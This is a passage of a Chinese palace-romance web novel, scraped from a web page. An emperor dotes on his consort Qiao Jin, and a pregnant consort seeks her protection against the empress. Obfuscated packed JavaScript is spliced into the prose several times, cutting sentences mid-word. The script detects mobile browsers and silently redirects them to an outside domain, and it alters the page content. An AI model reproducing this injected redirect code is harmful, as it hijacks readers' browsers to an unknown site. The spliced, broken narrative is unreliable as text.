“嗯……”得到应允的乔瑾像是得了糖的孩子,满足地哼唧了一声,往他怀里蹭得更紧了,鼻尖蹭过他颈间时,带来一阵细微的痒意。 她的呼吸渐渐又变得平稳,而君景珩则维持着环抱她的姿势,目光落在她恬静的睡颜上,窗外的日光明媚,殿内的时光却仿佛在此刻静止,只余下两人交叠的呼吸声,和空气中若有似无的、属于彼此的气息。 殿内光线尚暖,乔瑾睫毛颤了颤,指尖无意识地在君景珩袖摆上蹭了蹭,刚从浅眠中挣醒时还有些懵怔。 她眼皮还没完全掀开,就先往身边人怀里拱了拱,鼻音带着刚醒的沙哑:“景皇上……” 本就没合眼的君景珩几乎是立刻侧过身,指腹轻轻擦过她眼角的湿意,语气带着几分好笑:“这才多久?听着动静,是睡够了?” 乔瑾唔了一声,总算撑开眼,视线模糊地对上他含笑的眸子,才想起自己睡前信誓旦旦的保证。 她脸颊微热,往被子里缩了缩,小声嘀咕:“没睡够……但、但没到半个时辰呢,臣妾听到你动了……” 此时的乔瑾已经是差不多睡饱了,所以意思都微微回笼了。 “哦?”君景珩挑眉,故意逗她,“原是朕惊动了央央的清梦?早知如此,方才连呼吸都该放轻些。” “才不是!”乔瑾急得伸手去拍他胳膊,却被他顺势握住手腕,掌心的暖意顺着肌肤传来。 她嗔怪地看他一眼,又软下声来,“臣妾就是……醒了嘛。你是不是一直没睡?” 君景珩没回答,只屈指弹了弹她额头,语气却软下来:“醒了就起来,再赖着,梅花肉可真要被小厨房的馋猫叼走了。” 乔瑾一听“梅花肉”,瞬间清醒大半,骨碌着从床上坐起来,头发乱糟糟地翘着,像只被惊动的小兽。 “没叼走对吧?你说过给臣妾留的!” 君景珩低笑出声,替她拢了拢乱发,才起身取来外衣:“自然留着,小厨房一直用温火煨着,时辰再久些,滋味倒更醇厚。” 他说着,将外衣递到她面前,“先洗漱,莫要饿着肚子想肉。” 洗漱时,乔瑾还扒在铜镜前,看着君景珩亲手拧了帕子递给她,水汽氤氲中,他眉眼温柔得能滴出水来。 她接过帕子擦脸,忽然想起什么,抬眼问:“你说温着的?那会不会老了?上次张厨做的肘子温久了就柴……” “放心。”君景珩替她将碎发别到耳后,指尖划过她耳垂时微顿,“朕特意吩咐过,用小砂锅封了汤卤,火候掐得准。方才你睡着时,我让小顺子去瞧过,肉皮还颤着,筷子一戳就能透。” 果然,一进小厨房所在的偏厅,浓郁的酱香便扑面而来。 乔瑾立刻寻着味跑到桌边,见砂锅盖边缘还冒着热气,揭开时“咕嘟”一声,琥珀色的汤汁里,肥瘦相间的梅花肉被煨得油亮透软,连附着的筋膜都透着软糯的光泽。 “哇……”她眼睛亮晶晶的,拿起筷子就想夹,却被君景珩轻轻敲了下手背。 “先用膳,主食垫垫肚子。”他将一碗温粥推到她面前,自己则慢条斯理地替她分了块肥瘦均匀的肉,“你呀,眼里除了梅花肉,可还有别的?” 乔瑾捧着粥碗,小口喝着,含糊道:“有啊……还有你。”她说完,自己先红了脸,赶紧低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845684|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扒拉粥,却没看见君景珩握筷的手微不可察地一顿,眼底笑意更深。 用过饭,乔瑾捧着肚子瘫在软榻上,君景珩则在一旁慢条斯理地擦着手上的油渍。 阳光透过窗棂洒进来,在地上投下斑驳的光影,殿内静得只听见偶尔响起的茶勺碰击茶盏的轻响。 “皇上,”乔瑾忽然翻了个身,脸颊枕着软枕,望着他道,“下午做什么?御花园的花开了,想去看看。” 随即眼睛亮亮的道:“臣妾听说御花园除了梅花,还有其他花也开了,臣妾这还没有见过在这冬天也能开的花呢。” 君景珩放下茶盏,走过去在她身侧坐下,指尖拂过她鬓角:“好,陪你去。只是如今天冷,就算是午后日头大一点,但是也得多穿一点。。” “知道啦。”乔瑾嗔怪一句,却往他身边蹭了蹭,抓住他的手玩着他的指节,“对了,前几日你说南边进了新的蜜饯,是杨桃做的?臣妾想尝尝。” “嗯,让小厨房去取。”君景珩由着她摆弄自己的手,忽然想起什么,挑眉道,“不过方才某个人可是说,眼里只有梅花肉和我——如今又添了杨桃蜜饯?” 乔瑾被他说得脸颊发烫,捏了捏他的手指,小声反驳:“那不一样……梅花肉是解馋,你是……”她顿了顿,声音细若蚊蚋,“是解闷的。” “解闷?”君景珩低笑,俯身靠近她,温热的气息拂过她耳畔,“这么说,没了朕,乔姑娘可要整日闷着了?” “才……才不是!”乔瑾猛地抬头,却撞进他深邃的眼眸里,那里盛着化不开的笑意和温柔,让她瞬间失了言语,只能悻悻地扭过头,耳朵却红得透亮,“反正……反正你不许走。” 君景珩看着她毛茸茸的发顶,眼底的温柔几乎要溢出来。 他伸出手臂,将她轻轻揽进怀里,下巴抵着她的发心,低声道:“好,不走。往后啊,你的解馋的、解闷的,都在这儿呢。” 在君景珩怀里的乔瑾,眼睛里好像闪过一抹悲凉,但却转瞬即时候思刚刚没有出现这抹神色。 第一百二十九章 御花园偶遇 次日,天刚蒙蒙亮,铅灰色的云便沉沉压在宫阙檐角。 君心殿内熏笼燃得正暖,乔瑾披着件藕荷色的素纱寝衣,临窗**时,忽见窗外飘起了细雪。 起初只是零星几点,如碎玉般簌簌落下,不多时便织成了一片朦胧的白幕,将廊下的朱红漆柱都染上了一层薄霜。 她望着那片渐渐稠密的雪色,心中忽然漫起一股清冽的兴致。 昨日因身子乏懒窝在殿中整日,此刻见这漫天飞雪,倒生出几分踏雪寻幽的冲动。 她眸光微亮,转身便往衣架走去,指尖刚触到那件月白缂丝夹袄,贴身丫鬟晚晴端着燕窝羹进来,见状连忙搁下白瓷碗:“娘娘这是要去哪儿?昨日皇上才说您身子需静养呢。” 乔瑾取下夹袄,抖开时袖底滚出银狐毛边:“你闻,那梅香都飘到殿里来了。前儿路过御花园,见西府那几株绿萼梅似要开了,想着落雪时定是好景致。” 晚晴快步上前按住她的手,眉头蹙得像春山含愁:“我的娘娘,这雪粒子打在脸上跟针扎似的,梅树离这儿隔着三条抄手游廊呢!昨儿夜里刚上冻,石子路指不定结了冰……” “正是要趁这冰天雪地才好看。”乔瑾挣开手,径自将夹袄往身上披,“你瞧窗外那株黄腊梅,雪压着金瓣儿,倒比寻常更精神些。西府的绿萼梅开在白墙下,配上青瓦落雪,才叫‘疏影横斜水清浅’呢。” 遂起身走到妆台前,随手拢了拢鬓边的碎发,又从衣架上取下件半旧的素色披风。 正收拾着,贴身丫鬟绿萝端着热水进来,见状忙放下铜盆劝阻:“娘娘,这雪才刚下起来,天寒地冻的,何苦往园子里去?仔细沾了寒气” 乔瑾指尖拂过披风上的暗纹,头也未抬:“不过是去御花园走走,看看那几株腊梅开了没有。在殿里闷久了,出去透透气也好。” “可这雪越下越大了……”绿萝皱着眉,快步上前按住她拿披风的手,“前儿刚下过雨,园子里的石板路定是滑的,万一摔着可怎么好?奴婢去取些蜜饯来,娘娘在暖阁里赏雪也是一样的。” 乔瑾抬眸,见晚晴满脸担忧,便轻轻笑了笑:“你呀,总是这般小心翼翼。不过是几步路,能有什么事?” 她挣开晚晴的手,执意将披风搭在臂弯,“你且去取件厚些的斗篷来,再把那只赤金点翠的暖炉带上,咱们去去就回。” 绿萝见她主意已定,知道再劝也是无用,只得轻叹一声,转身从衣柜深处取出件玄色镶银狐**的斗篷,又仔细替她系好领口的玉带。 “娘娘可一定要多穿些,”她一边将一双獭绒手笼塞进乔瑾袖中,一边絮絮叨叨,“这暖炉奴婢替您抱着,您走路慢些,可千万别踩在结冰的地方……” 乔瑾由着她忙活,待晚晴将暖炉的提梁塞进她手中时,那炉中炭火正烧得旺,隔着錾花的炉壁传来融融暖意。 “知道了,”她拍了拍晚晴的手背,语气带着几分纵容,“再磨蹭些,雪可就要积厚了。” 主仆几人说着话,已裹紧了斗篷往殿外走去。 殿门推开的刹那,一股清冽的寒气夹杂着雪沫子扑面而来,乔瑾却似未觉,仰头望了眼漫天飞舞的雪花,唇角的笑意更浓了些,踩着廊下未及清扫的薄雪,径直往御花园的方向去了。 晚晴抱着暖炉紧随其后,时不时低头替她拂去肩头落雪,碎步紧跟的模样,倒比那漫天风雪更显殷切。 雪粒子打在朱漆亭柱上沙沙作响,乔瑾裹紧斗篷在六角亭内坐下时,檐角垂落的冰棱正滴着水。 御花园的梅树在风雪里凝着半开的花苞,绿萼白瓣上敷着层薄雪,远远望去像水墨画里洇开的淡墨。 她伸手拂去石凳上的雪沫,指尖刚触到微凉的青石,便忍不住往手炉边缩了缩。 “娘娘可是冷了?”贴身丫鬟绿萝见状,忙将她松开的斗篷系带重新系紧,“这风从亭口灌进来刺骨得很,奴婢这就去暖阁取些热茶来,再带个汤婆子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845685|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔瑾望着那株探进亭角的朱砂梅,花瓣上的雪正被风卷得簌簌落:“嗯,要刚沏的碧螺春,茶汤得滚烫些。” 她话音未落,绿萝已福了福身,踩着积雪快步往暖阁方向去了。 亭外风雪渐密,将远处的宫墙都遮得朦胧。 乔瑾拢着手炉,目光落在梅枝交错的暗影里,忽听得身后传来踏雪声,靴底碾过薄冰的细碎声响在寂静中格外清晰。 她以为是绿萝返回,头也未回便扬声道:“快些将茶倒来,这手炉的热乎气都快散……” 话未说完,她转身的动作却顿在半空。 来人身着一袭酱紫色蹙金绣缠枝莲纹宫装,狐裘大氅领口露出的锦缎上,用银线密密匝着“宜男草”纹样——竟是已有五月身孕的云贵姬。 她身后跟着两个捧着手炉的小丫鬟,臃肿的身形在风雪里显得有些蹒跚。 乔瑾的目光瞬间落在她高高隆起的小腹上,指尖无意识地攥紧了手炉提梁。 见云贵姬屈膝欲行大礼,她忙上前半步扶住她的手肘,声音里带着恰到好处的关切:“妹妹这是做什么?身子这般金贵,岂能动辄行大礼?” 云贵姬被她扶稳,脸上露出温和的笑意,鬓边的赤金衔珠步摇随动作轻晃:“给瑾姐姐请安原是该的。方才在暖香居听见宫人说姐姐往御花园来了,想着这雪天路滑,特来瞧瞧。” 她说话时,腹中胎儿似是动了一下,她下意识地抚了抚肚子,眼底漾起母性的柔光。 乔瑾扶着她在石凳上坐下,面上笑意未减,心底却如琴弦般骤然绷紧。 暖香居在东六宫,与御花园隔着整座太极殿,她怎会“恰巧”路过? 目光扫过她身后丫鬟捧着的食盒,那形制竟是内务府新制的暖银提盒,寻常探病断不会用这等规格。 “下雪天路滑,妹妹本该在殿内安心养胎,”乔瑾替她理了理被风吹乱的鬓发,语气温软却带着不易察觉的审视。 第一百三十章 求救 “如今都五月了,太医不是说要少走动么?若有什么事,差人来说一声便是,何苦亲自过来?” 她指尖触到云贵姬鬓边的珠翠,那冰凉的触感让她心头更添几分警惕——这女人顶着风雪前来,绝非“瞧瞧”这般简单。 云贵姬抬手覆在乔瑾的手背上,掌心的温度透过锦缎传来,竟比她握着暖炉的手还要烫些:“姐姐不知,这几日总觉得闷得慌,听宫人说御花园的梅开了,便想着来寻些新鲜空气。谁知刚到沁芳桥,就瞧见姐姐的身影了。” 她望着亭外怒放的朱砂梅,嘴角笑意更深,“倒是姐姐,怎么也不在君心殿歇着?这雪粒子打在脸上,仔细伤了皮肤。” 乔瑾抽回手,拢回斗篷里,目光淡淡掠过她腹中的衣料隆起处,那“宜男草”的银线在雪光下闪着冷意。 她知道云贵姬有孕后便深居简出,今日却突然出现在这偏僻的梅亭,那双看似温和的眸子里,藏着的究竟是探病的关切,还是……别的什么? 风雪卷进亭内,吹得她鬓边的梅花簪轻轻颤动,宛如她此刻陡然加速的心跳。 乔瑾指尖的暖炉尚有余温,却抵不过此刻心头泛起的寒意。 她凝着云贵姬鬓边那支颤巍巍的珊瑚珠翠,忽然抬手将半掩的斗篷又紧了紧,绣着缠枝莲的锦缎边缘扫过石桌,发出轻微的簌簌声。 风雪卷着碎玉般的雪粒子扑进亭内,她却似未察觉,只将眉峰微蹙,那双平日里含着三分笑意的杏眼此刻冷如冰棱,直直撞进云贵姬眼底: “云贵姬。” 她开口时,亭外一株朱砂梅被风吹得枝条乱颤,几点红梅落进她滚着白狐**的斗篷领子里。声音不高,却带着不容置疑的冷硬:“有什么话便直说。本宫虽久居君心殿,却也知这腊月的雪天,路滑风紧,可不是有孕之人该出来赏梅的时辰。” 她顿了顿,目光似有意无意掠过云贵姬腹中那团用银线绣着宜男草的锦缎,那银线在雪光下泛着冷冽的光:“何况——怎就那么巧,偏生本宫今日难得出来透口气,就『恰巧』遇上妹妹了?” 云贵姬脸上的笑意僵了一瞬,垂在袖中的手指下意识攥紧了帕子。 她能感觉到乔瑾的目光如针,扎在自己刻意用宽松宫装遮掩的腹部。心中暗骂那几个盯梢的小太监手脚不利索,怎的没探准乔瑾今日会独自来这偏僻梅亭? 可面上却依旧维持着柔婉,甚至低低笑了两声,抬手抚了抚鬓边的珠翠,那动作看似随意,指尖却微微发抖: “姐姐这话说得……”她声音带了点委屈,眼尾却悄悄觑着乔瑾身后两个垂首侍立的丫鬟,“妹妹不过是……” “妹妹不必再绕圈子了。”乔瑾打断她,指尖轻轻叩了叩石桌,那声音在风雪声中格外清晰,“本宫这几日虽不出君心殿,却也知道,总有几个‘热心’的宫人,日日在殿外的银杏树下‘晒暖’。” 她语气温和下来,却带着一股绵里藏针的力道,“本宫去养心殿给皇上送汤,去御书房送份折子,怕是妹妹宫里的人,比本宫的贴身丫鬟都清楚。” 云贵姬的脸色“唰”地白了。她确实派了心腹太监守在君心殿通往各宫的要道,乔瑾性子沉静,有孕后更是深居简出,十有**是去皇上那里,从无单独行动的时候。 今日还是她听小太监回报,说君心殿的人往御花园偏僻处去了,这才顶着风雪赶过来——这样的机会,她等了足足五日。 风雪忽然大了些,吹得亭角的铜铃发出“叮铃”轻响。 云贵姬猛地抬眼,见乔瑾正似笑非笑地看着自己,那眼神仿佛能洞穿她所有的算计。 她心一横,忽然转身对身后跟着的一众宫娥太监厉声喝道:“都退下!去亭外守着,没我吩咐,不许靠近十丈之内!” 几个下人被她突然转冷的语气惊得一颤,连忙躬身应“是”,缩着脖子退到风雪里。 她又看向乔瑾身后的几个丫鬟,柔声道:“姐姐的丫鬟……许是也冻着了,不如去那边暖阁歇会儿?” 乔瑾挑眉,示意两个丫鬟退下。待亭内只剩下她们二人及各自的贴身丫鬟时,云贵姬才缓缓转过身,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她眼中的慌乱几乎要溢出来,顾不上宫规礼仪,竟伸手想去抓乔瑾的衣袖,却在触到那冰凉的锦缎时又猛地顿住,指尖抖得像秋风中的落叶:“没用的!姐姐!去找皇上……去找皇后娘娘……根本没用啊!” 这声带着哭腔的急切呼喊让亭外的风雪都似静了一瞬。 乔瑾身后的绿萝原本垂首侍立,此刻却猛地抬起头,下意识往前跨了一步,手已按在了腰间悬着的绢子上——那里面藏着乔瑾平日里防身的银簪。 她飞快地瞥了自家主子一眼,见乔瑾脸色沉得像结了冰的湖面,便又硬生生止住脚步,只是牙关咬得更紧,目光警惕地盯着云贵姬剧烈起伏的胸口。 第一百三十一章 求庇佑 乔瑾则是缓缓转过头,眸光如寒潭般凝着云贵姬因激动而涨红的脸。 她能看到对方眼底密布的红血丝,还有那极力压抑却依旧从眼角渗出的水光。 亭角的铜铃在风雪中“叮铃”作响,惊飞了枝桠上落着的麻雀,扑棱棱的振翅声衬得亭内的寂静格外沉重。 “哦?”乔瑾拖长了尾音,指尖轻轻敲击着石桌边缘,那节奏不疾不徐,却像重锤敲在云贵姬心上,“妹妹这话可说得蹊跷。皇上与皇后娘娘仁德宽厚,怎会……” “娘娘!”云贵姬突然屈膝半跪,顾不得积雪浸湿裙摆,仰头望着乔瑾,声音里带着破釜沉舟的决绝,“您当真是不明白,还是不愿明白?前几日臣妾宫里的安胎药被人换了,查来查去竟查到……查到皇后宫里的掌事太监头上!可臣妾去坤宁宫递牌子,皇后娘娘只说‘宫闱之中难免有误,定是下人手脚不干净’,轻飘飘就揭过去了!” 她的声音越来越低,却带着刺骨的寒意:“至于皇上……” 云贵姬猛地咬住下唇,直到渗出血丝才松开,“皇上这几日宿在贤妃宫里,贤妃娘娘昨日还特意‘关切’臣妾,说‘妹妹这肚子看着比寻常月份大些,可要当心是……怪胎呢’……” 风雪突然猛地灌进亭内,吹得云贵姬鬓边的珠翠噼里啪啦直响。 绿萝“呀”了一声,连忙上前想为乔瑾拢紧斗篷,却见自家主子站在原地,脸色比飘落的雪花还要白上几分。 乔瑾垂在身侧的手指死死攥着暖炉,那烧得通红的炭块透过珐琅瓷传来滚烫的热度,她却仿佛毫无知觉,只觉得一股寒意从脚底直窜上脊梁。 亭外的风雪似是得了号令,骤然卷着碎玉般的雪沫子扑进亭檐,将乔瑾鬓边一缕碎发吹得贴在苍白的面颊上。 她垂着眼睫,长而密的睫毛在眼下投出一片颤动的阴影,眸光深处翻涌的惊涛骇浪尚未平息,便被她强行压了下去。 指腹无意识地摩挲着暖炉冰凉的珐琅瓷面,那一点滚烫的暖意竟抵不过心口突来的寒意。 她缓缓抬眼,鸦羽般的睫毛眨了两眨,眼尾微不可察地颤了颤,像是落了片雪沫子,要将那瞬间的惊惶掩进风雪里。 “妹妹这话……”她开口时声音带着一丝不易察觉的沙哑,指尖叩在石桌上的力道松了,转而蜷起手指轻轻按在鬓角,仿佛头痛般蹙了蹙眉。 “皇后娘娘母仪天下,素日最是仁厚宽和,断不会……”话音未落便被自己咽了回去。 她望向云贵姬那双燃着绝望火光的眼,喉间像是被风雪堵住,半晌才续上一句,语气却软了下来,带着安抚的虚浮,“许是底下人办事疏漏,误拿了药材也未可知。 宫里头人口多,难免有差池,皇后娘娘说‘下人手脚不干净’,原也是按规矩处置,你何苦如此……” 她刻意将“何苦如此”四个字说得轻缓,尾音拖曳间带着规劝的意味,仿佛真的只当是后妃间寻常的磕绊。 暖炉里的炭块“噼啪”爆了一声,火星溅在炉壁上,映得她垂落的眼睫尖都发着烫。 “至于皇上……”她顿了顿,抬眼时已换上一副温和的模样,只是眼底深处的沉郁却未散去。“皇上近日忙于朝政,后宫妃嫔轮宿原是常事,贤妃娘娘……许是口无遮拦,你怀着龙裔,正是身子金贵的时候,何必与她置气?” 说到最后,她甚至微微俯身,想去扶云贵姬半跪的身子,语气愈发轻柔:“你呀,定是有了身孕后心思重了,瞧这眼圈红的。皇后娘娘和皇上盼着龙裔安康还来不及,岂会不在意?许是你近来安胎辛苦,想岔了……” “想岔了?” 云贵姬突然低笑出声,那笑声破碎在风雪里,像冰棱子断裂般刺耳。 她猛地抬起头,原本因激动涨红的脸此刻竟褪得雪白,嘴唇上被她咬出的血痕蜿蜒而下,滴在衣襟上的雪水晕开一小团刺目的红。 她抚摸着小腹的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可如今……她垂眸看向自己交握的双手,指腹上因常年握笔而生的薄茧清晰可见,那是她在这深宫里唯一的依仗。 “起来吧。”良久,她才找回自己的声音,那声音轻得像一片雪花,却带着不容置疑的力道,“地上凉,仔细伤了身子。” 云贵姬怔怔地望着她,不明白她态度的转变。 乔瑾却没有看她,只是缓缓转过身,望向被风雪模糊了轮廓的宫墙,远处坤宁宫的飞檐在雪幕中若隐若现,像一头蛰伏的巨兽。 她伸出手,任一片雪花落在掌心,那冰凉的触感让她打了个寒噤,随即轻声道:“你的话,本宫记下了。只是此事……容本宫想想。” 想想? 绿萝心中一紧,想劝又不敢开口。 云贵姬却像是抓住了最后一根救命稻草,猛地叩首在地,额头撞在积雪覆盖的石板上,发出沉闷的声响:“谢娘娘!谢娘娘!” 风雪更急了,将亭内的对话彻底卷向深宫深处。 乔瑾望着掌心渐渐融化的雪花,那一点湿意顺着纹路渗入皮肤,竟比暖炉的热度更让她心惊。 她知道,从云贵姬跪在她面前的这一刻起,有些事情,已经无法回头了。 乔瑾指尖的雪花融成水珠,顺着掌纹滑入袖中。 她忽然转身,目光掠过云贵姬额角沾染的雪沫,语气冷得像檐角垂落的冰棱:“还跪着做什么?雪粒子打在石板上,仔细冻坏了膝盖。” 云贵姬猛地抬头,睫毛上的雪珠簌簌掉落。 她看见乔瑾袍角的暗纹在风雪中沉沉浮动,那双总含着温意的眼此刻覆着层薄冰:“娘娘……” “本宫说的话,需要重复第二遍?”乔瑾的声音被风卷得零散,却带着不容抗拒的威压,“绿萝,取本宫的暖手炉给云主子。让小厨房备些驱寒的姜汤,送去她宫里。” 绿萝慌忙应下,刚要解下腰间的手炉,却被乔瑾抬手止住。 她望着云贵姬瑟缩的背影消失在九曲桥尽头,才缓缓攥紧了自己冻得发红的指尖:“不必了。让她快些回去,仔细冲撞了贵人。” 这话音未落,她已转身往回走。狐裘大氅的毛领扫过廊下的红梅,震落几瓣沾雪的花萼。 绿萝捧着斗篷追上去,看见自家娘娘望着坤宁宫方向的眼神,比檐角垂落的冰锥还要凉:“小主,这雪越下越急了,咱们也快些回去吧。” 乔瑾没有应声,只任由风雪将发间的玉簪染白。 直到跨进殿门的刹那,她才骤然停步,望着掌心未散的湿意低声道:“去煮碗姜茶来,要最浓的。” 内室的暖炉烧得正旺,乔瑾接过绿萝递来的姜茶,却未立刻去喝。 茶汤的热气模糊了她的眉眼,映得窗纸上的雪影明明灭灭。 直到杯壁的温度烫得指尖发颤,她才忽然问:“你说,这宫里的雪,何时能停?” 绿萝正往炉子里添碳,闻言手一顿:“小主,这数九寒天的……” “是啊,数九寒天。”乔瑾打断她,将半杯姜茶一饮而尽,辛辣的暖意顺着喉咙滚下去,却驱不散心底那点比冰雪更冷的惊悸,“可总有些东西,比风雪更能冻伤人。” 与此同时,云贵姬裹紧了身上单薄的宫装,深一脚浅一脚地走在覆雪的宫道上。 路过朝阳殿时,檐角铜铃被风吹得叮当作响,惊得她下意识抬头——却见明黄窗纱后闪过一道身影,随即传来女子含笑的声音: “这都快落雪子了,谁还在外面晃悠?” 云贵姬心头一紧,正要低头快走,却听殿内的丫鬟惊呼:“娘娘快看!是云贵姬!您瞧她那肚子,在雪地里走得跟个糯米团子似的!” 丽昭仪扶着腰肢凑近窗边,凤眸微眯地望着那抹匆匆而过的身影。 她腕间的赤金镶宝石镯子撞在窗棂上,发出清脆的声响:“下雪天不在宫里猫着,往御花园方向跑什么?难不成是御花园那里开了什么好东西?” “谁知道呢,”贴身丫鬟嗤笑一声,“不过说起这肚子,整个后宫也就她金贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845688|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些——倒是娘娘您,这几日总说腰酸,可得仔细些。” 丽昭仪抚着自己平稳的小腹,望着云贵姬消失的方向,嘴角勾起抹意味不明的笑:“金贵?这宫里最不缺的就是金贵玩意儿。只是不知啊……这雪底下埋着的,究竟是玉还是石头?” 话音未落,她忽然按住腰侧,眉尖蹙起:“去,让小厨房炖碗燕窝来。顺便……盯着点云贵姬宫里的动静,仔细别让什么脏东西,污了咱们朝阳殿的地。” 丫鬟领命而去,殿内只余下丽昭仪望着窗外风雪的身影。 她指尖轻轻叩着窗沿,目光追着一片盘旋的雪花,直到那雪沫子落在廊下的金砖上,悄无声息地化了。 云贵姬刚踏过门槛,廊下铜灯的光晕便映出她斗篷上簌簌掉落的雪沫。 话音未落,春桃已扑到门边,指尖刚触到她冻得发紫的袖口,便惊得缩回手:“小主!您这手怎么冰得跟雪块似的?” 另一个丫鬟夏荷捧着暖手炉踉跄上前,暖炉的热气刚贴上云贵姬手腕,她便忍不住打了个寒噤。 斗篷被春桃慌忙解下,抖落时带出几片粘在毛领上的雪花,砸在青砖地毡上碎成水珠:“我的小祖宗!这雪粒子打得人脸生疼,您怎么不多待片刻?奴婢早把地龙烧得旺旺的,还备了刚熬好的姜汤……” “先别管这些。”云贵姬扶着夏荷的手往内室走,鞋底的积雪在地面拖出湿痕,“快取干净袜子来,方才过桥时不慎踩了水洼。” 她话音微颤,不知是冻的还是后怕,指尖攥着腰间的玉佩,那是方才乔瑾递来又收回的暖手炉留下的余温残影。 夏荷跪在脚踏边替她解下湿鞋,指尖触到她脚踝时猛地抬头:“小主!这袜子都冻硬了!” 她话音里带了哭腔,慌忙将备好的厚棉袜塞进暖炉笼屉里烘了烘,才小心翼翼套上那双冻得泛红的脚。 春桃已将姜汤端来,碗沿腾起的热气模糊了云贵姬低垂的眼睫:“小主快趁热喝了,奴婢再去抱床棉被来,您得焐焐寒气。” 第一百三十三章 怎么还没有动静 “不必忙了。”云贵姬捧着姜汤的手仍在轻颤,滚烫的液体滑入喉咙时,她才恍惚找回点暖意,“本宫……只是去御花园碰到宸嫔同她说了几句话。” 她避开丫鬟们探究的目光,望向窗外越加密集的雪帘,殿内炭火噼啪炸开火星,却暖不透她攥紧的掌心。 那里似乎还留着雪花融化时的湿冷,像乔瑾最后那句话里藏着的冰棱,“让本宫静一静,你们且去收拾外间。” 春桃与夏荷对视一眼,都从对方眼里看到了担忧。 往日里云贵姬虽性子柔懦,却从没有这般失魂落魄的模样。 夏荷悄声将暖手炉塞进她裙摆下,又往炭盆里添了块银骨炭,才随着春桃退到外间。 门帘落下的刹那,她们听见内室传来极轻的叹息,混着雪粒子打在窗棂上的沙沙声,碎成一殿沉寂。 —— 君心殿内熏香袅袅,青玉茶盏中腾起的热气氤氲了乔瑾眼前的光影。 她指尖轻捻着茶盏边缘,听着窗外淅淅沥沥的雨声,倒像是将这宫里的喧嚣都隔在了琉璃瓦外。 身旁的绿萝绞着帕子,终究是按捺不住困惑,轻声问道:“娘娘,那云贵姬求到您跟前,那事本与咱们无干,何苦掺和?再说了,她如今有孕,正是圣眷正浓的时候,何苦要您这‘顺水人情’?” 绿萝的声音里带着几分不忿,更有隐隐的担忧。 乔瑾却只是望着杯中浮沉的碧色茶叶,眸光微微一滞,仿佛透过茶汤望进了时光深处。 上辈子的画面如碎片般闪过,云贵姬那看举目无亲的样子,而她自己,在上辈子的时候也同她一样,上辈子无人帮自己,这辈子倒是遇到了一样的人。 可能就是因为想到了上辈子的自己,所以自己就才同意。 她猛地回神,指尖微凉,却在唇边勾起一抹极淡的笑意,那笑意里藏着些绿萝看不懂的深沉,只摇了摇头:“你且记下,这宫里没有‘无关’的事。时候到了,你自会明白。”她不欲多言,只端起茶盏,将那口微涩的茶汤咽入喉中,烫意却暖不透心底的寒。 次日清晨。 雪后的晨光透过雕花窗棂,将君心殿内的鎏金铜鹤熏香炉镀上一层薄霜般的银辉。 乔瑾剪下最后一支开得过于繁密的白菊,指尖刚触到花瓣上凝结的冰晶,身后便传来玄色朝靴踏在青砖上的沉稳声响。 她回身时,君景珩已立在五步开外,墨色常服上还沾着未化的雪沫,肩头落着半片残梅,倒比平日多了几分清冽意气。 “陛下今日早朝倒早。”她敛衽行礼,伸手去接他卸下的朝袍,指尖无意间擦过他袖口绣着的金线龙纹,触手微寒。 君景珩却没立刻放手,反而顺势握住她的手腕,指腹摩挲着她腕间那支通透的暖玉镯,目光沉沉地落在她脸上:“天这么冷,这些交给下人做就好。?” 见他进来,乔瑾笑了笑,放下剪刀,亲自为他卸下玄色朝袍,语气似是随意提起:“昨日臣妾在御花园偶遇云贵妹妹,瞧她孕吐得厉害,倒是辛苦。说起话来,得知她有了身孕,臣妾当时还有些震惊了。” 她话音落下时,眼角余光分明瞥见君景珩正解着玉带的手微微一顿。 他转过身来,墨色的龙纹常服衬得他面容愈发深邃,那双平日里总是含着三分笑意的眼眸,此刻却倏地沉了下去,像是骤起波澜的深潭,瞧不清底韵。 乔瑾说着,转身去取案上早已温好的参茶,眼角余光却见君景珩负手立在窗前,望着那盆新剪的白菊,指节轻轻叩着窗沿,发出规律的“笃笃”声。 